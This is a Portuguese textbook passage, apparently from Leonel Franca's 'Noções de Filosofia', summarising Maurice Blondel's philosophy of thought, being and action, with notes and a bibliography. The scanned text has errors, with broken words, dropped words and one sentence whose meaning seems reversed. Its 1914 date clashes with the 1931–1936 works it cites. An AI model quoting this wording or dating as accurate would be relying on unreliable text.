Maurice Blondel – Filósofo da Ação

Noções de Filosofia – Pe. Leonel Franca. (1914)

ARTIGO III

MAURICE BLONDEL

189.    BLONDEL (1861) é, por excelência, o filósofo da
Ação.  A sua tese de doutorado, defendida e publicada com este nome (L’Action, essai d’une
critique de la vie et d’une
science de la pratique
) em 1893, marca uma data na história do pensamento contemporâneo.   Surgiram
discussões e controvérsias acaloradas.   A  sua luz foi aparecendo, cada vez
mais evidente, que o problema da ação não podia ser tratado em toda a sua
amplitude sem um estudo profundo e paralelo do pensamento e do ser.  Após 40
anos de reclusão, o professor de Aix, deu-nos o seu Opus philosophicum em que mostra as conclusões de
um pensamento amadurecido e renovado.  Εm um lustro veio a lume a trilogia, há muito
anunciado, os Pensée, 1934, 2 vols.; L’être et les êtres, 1935; L’Action, 1931, 2 vols.

Como Bergson, Blondel é da raça de Platão: alia a profundidade original do pensamento ao esplendor da
beleza literária.   Sua postura, porém, não é fácil;
as análises delicadas e interdependentes exigem atenção continuada e esforço de
concatenação. A harmonia das partes não se aprecia senão na unidade final do
todo. O método empregado é o que êle chama de
”implicação" e "integração". Im­plicação, porque nele se
submete a exame uma realidade (o pensa­mento, a ação) e se investigam as
condições exigidas ou "implica­das" pela sua possibilidade, pela sua
natureza interna e pelo imple­mento de seus destinos. Integração, porque,
assim, pelo estudo com­pleto de todas as formas de uma realidade, se chega a
constituir-lhe uma ciência integral.

Pensamento de Maurice Blondel

A. O Pensamento. O elemento essencial e
irredutível à maté­ria que constitui o pensamento nas suas várias
formas é a
unidade na multiplicidade, ü pensamento cósmico (236) e o pensamento consciente (em
todos os patamares de sua ascensão espontânea) ve­rificam este duplo caráter de
unidade e diversidade (noético e pneumático na terminologia de Blondel).
Verificam-no, porém, de modo imperfeito. Ao lado ao êxito, convém registrar os
malogros ou de­ficiências do pensamento. Desde a sensibilidade, que prepara o
nas­cer da inteligência e è indispensável ao seu exercício até ao conheci­mento
cientifico, estético ou filosófico, a unificação suprema pela qual aspira a
inteligência aparece como um ideal inatingido, como um destino que se nao
realizou. Desta contingência do nosso pensar humano, sentida e exposta em toda a
sua trágica amargura, surge o problema do pensamento puro, do Pensamento
perfeitamente unifi­cado no qual ser e pensar se fundem totalmente numa
identidade per­feita. O problema do pensamento que quer ser coerente implica
assim o problema de Deus. Ε este por sua vez "implica" para o homem uma
"opçào decisiva" em que se empenham como elementos solidários a luz
da inteligência e a responsabilidade do querer. Tra­ta-se para o homem
de escolher entre a concepção quimérica de um pensamento imito, condenado a um fieri -perpetuo, e o reconheci­mento da
totalidade divina que, só, é capaz de dar à verdade a consistência do ser
e aos destinos do espírito um valor transcendente. A reflexão metódica sobre o
pensamento leva-nos assim a uma "filosofia da insuficiência", que,
reconhecendo as nossas inquietudes metafísicas e renunciando a uma suficiência
dominadora, apela para um complemento sobrenatural e prepara os caminhos a uma reli­gião positiva.

Se o
pensamento implica "a realidade" e, êle mesmo, é "ser", ao
descobrimento do ser somos agora naturalmente levados.

B. Ser. O itinerário
ontológico é muito simétrico ao seguido anteriormente na investigação do
pensamento.   A existência do ser não é uma questão; o niilismo é impossível.   O
ser aparece-nos do­tado de unidade, espontaneidade e perenidade.   Até que
ponto os seres submetidos à nossa experiência verificam estas propriedades? Uma
viagem de exploração em busca do ser no-lo  dirá facilmente. Na matéria, que
ocupa o primeiro degrau na escala antológica mal se verificam.  Sem ser uma
pura negação ou puro limite ela contribui para distinguir os seres, torná-los
impenetráveis e assegurar-lhe: uma autonomia relativa.  É um trampolim que
"lança já o sursum do universo".   Com a vida, unidade,
espontaneidade e perenidade manifestam-se mais claramente, ainda que de modo
muito imperfeito.   A pessoa humana realiza estas condições de consistência de
ser mais plenamente, mas, ainda aqui, estes caracteres se apresentam como
relativos.  A contingência radical da pessoa humana lhe confere uma
consistência absoluta; ela não basta a si própria. Qualquer tentativa para
consolidar os seres em si mesmos ou sua totalização solidária está condenada a
meio fracasso.   Sem o seja possível aniquilá-los não há firmá-los em si mesmos
numa  autonomia plena e definitiva.   Só o Ser Absoluto, cuja existência impõe
como uma necessidade metafísica, encerra a chave do mesmo problema da
"consolidação dos seres".   Esta conclusão indica relações dos seres
em face do Ser e traça a norma, ao mesmo tempo transcendente e imanente, de que
depende a sua parturição, ato e consolidação.  Pode-se, pois, falar em
ontologia de uma "norma do ser", paralela à "lógica do
pensamento".  Seu objeto é investigar o caminho normal por onde os seres
hão de realizar os desígnio que procedem e atingir os destinos a que tendem. 
Matéria, vida, e espírito, para ser e para se realizar, devem depender do
Absoluto como de Causa Primeira e Fim Supremo "e é nesta relação como Fim
que todos os seres criados concentrarão, uns, à própria explicação, e solidez,
outros, o julgamento que deve fixar o destino indestrutível para o qual terão
que cooperar".

C. Ação.   Em sua amplitude,
o problema da Ação atinge a sua unidade interna, o grande drama do dinamismo
total do UNIVERSO.  Através das inúmeras peripécias pelas quais os seres se
empenham ao seu destino final, há uma realidade metafísica, superior à
multiplicidade dos fatos que lhes assegura a unidade interior. O método
precedente de "implicação" ou "eferência” (de efference, fora)
encontra também aqui a sua aplicação e há também um inventário a seguir para
resolver o problema do puro agir.  Nos metafísicos, a mescla de passividade e
inércia é tão evidente q há por que nos determos em mostrá-lo.  A ação humana,
consciente, oferece um centro de perspectiva mais favorável ao estudo da
realidade e da verdadeira natureza da ação.  Ora, o que aqui nos impressiona é
a desproporção desanimadora entre o que somos e o que fazemos. Ou não chegamos a fazer tudo o que
quere­mos ou fazemos às vezes o que não queremos. Deste desequilíbrio interior
entre o querer e o poder nasce a inquietude humana. As soluções tentadas pelo
esteta ou pelo pessimista são insuficientes. A ciência, a convivência social
não nos trazem ainda o complemento de vida e plenitude de ser a que aspiramos
profundamente. A passi­vidade de toda a ação humana ainda da mais perfeita não
resolve, pois, o problema posto pela dialética interior da Ação. Só o Agir
inteiramente ativo, só o ato puro encerra a chave de abóbada do di­namismo
universal. As relações oriundas da ação criada com o ato puro criador resolvem
o conflito interior do homem e elevam-lhe a atividade a uma ordem
transcendente. Promovendo no universo a ação soberana de Deus, associando-se,
no uso das coisas, ao gover­no divino, o espírito criado dá à própria ação a nota que lhe é espe­cífica e encaminha-se
para a plenitude do seu destino.

190. Um resumo esquelético não
pode dar sequer uma pálida idéia da riqueza e da variedade de perspectivas do
pensamento blon-deiiano. As objeções levantadas nos primeiros tempos —
tendência anti-intelectualista, confusão entre ordem natural e a sobrenatural que exigida
como complemento da natureza perdia com a gratui­dade a sua nota essencial — se
de todo se não dissiparam com as últimas publicações foram pelo menos
notavelmente atenuadas. Uma interpretação benévola e compreensiva dos vários
textos blondelianos poderá escoimar talvez o seu pensamento de ousadias menos
se­guras. Apesar das lacunas porventura subsistentes, o seu esforço filosófico,
caracterizado por um dinamismo teocêntrico em que se en­contram
admiràvelmente sintetizadas as duas grandes correntes, augustiniana e tomista,
do pensamento cristão, constitui um dos maio­res, mais brilhantes e fecundos
tentames de construção de uma filosofia integral. Desta tentativa de larga
envergadura, ressalta com esplêndida clareza como "a ciência do
pensamento, a ciência do ser, a ciência da vida, distintas em nós, se associam,
entretanto, por uma interna cooperação que contribui para fundar, promover e
aper­feiçoar o ser que somos" (237).

Notas

(236) Com esta
expressão, Blondel não atribui
ao mundo inorgânico uma consciência; quer apenas significar a unidade na
multiplicidade, que resplende na conexão de todos os seres, inexplicável pela
simples matéria, e reflexo de uma inteligência criadora. Contra as acusações
apressadas tie Panpsiquismo, escreveu êle, em uma nota de "Action",
t. J, p. 113: "Que
le lecteur ne se hâte point d’interpréter ce passage comme si nous y soutenions
que les actions physiques en tant que telles supposent au moins un embryon de
conscience propre et déjà subjective à quelque degré. Nous voulons simplement
dire ici que le mot action implique toujours pour nous une réfé­rence ù un
tiessin au moins objectif du Maître des éléments, qui a infus
en toute r éa­lité un dynamisme, une tendance finaliste, ce
que la terminologie médiévale nomme, en un sens ontologique, intentio,
sans que pour cela l’on attribue aux agents physiques une
conscience rudimentaire ".

(237)
L’ Être et les êtres, p. 339
"Dans la recherche itinérante c.ui
est " celle de notre vie présente et de notre
philosophie perfectible, il ne serait pas vrai, il serait pas prudent
de ne point, unir les efforts pratique- ;";
la speculation ia plus exacte
qui doit éclairer notre marche mais qui doit aussi
nous rapprocher du foyer m ôme de la clarté".
Op. cit., p. 32.

 

 

BIBLIOGRAFIA

P. Archambault.
Les philosophies de la contingence et la philosophie
de
l’Action, Paris, 1G24; — Id.,
Vers un réalisme intégral, L’oeuvre philoso­phique de M. Blondel, 1928; — F. Lefèvre.
Itinéraire philosophique de M.
Blondel- Paris, 1928; — F. Taymans
d’Eypernon, — Le Blondclisme. Lou-vain, 1933; — j. de Toxquédec
Immanence, 1913, 31933; —
Id., Doux études sur "La Pensée" de M. Blondel, Paris, 1936: — Aug. Valensin,
Immanence (méthode ci’) era D. A. F. C. de D’Alès, c. 530-593; — F. Scivitaro, L’azione e il pensicro. Saggio sulla filosofia äi M. Blondel, Roma. 1936; ne fim deste livro, bibliografia
de Blondel e dos trabalhos críticos sobre a sua filosofia.

Fonte: Agir ed.

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